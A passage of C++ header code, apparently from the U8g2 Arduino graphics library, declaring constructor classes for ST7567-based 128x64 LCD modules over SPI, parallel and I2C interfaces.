public: U8G2_ST7567_JLX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_6800 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_8080 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_6800 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_8080 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_6800 : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_8080 : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_JLX12864_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_OS12864_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_OS12864_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_enh_dg128064i_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_OS12864_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_f(&u8g2, rotation, 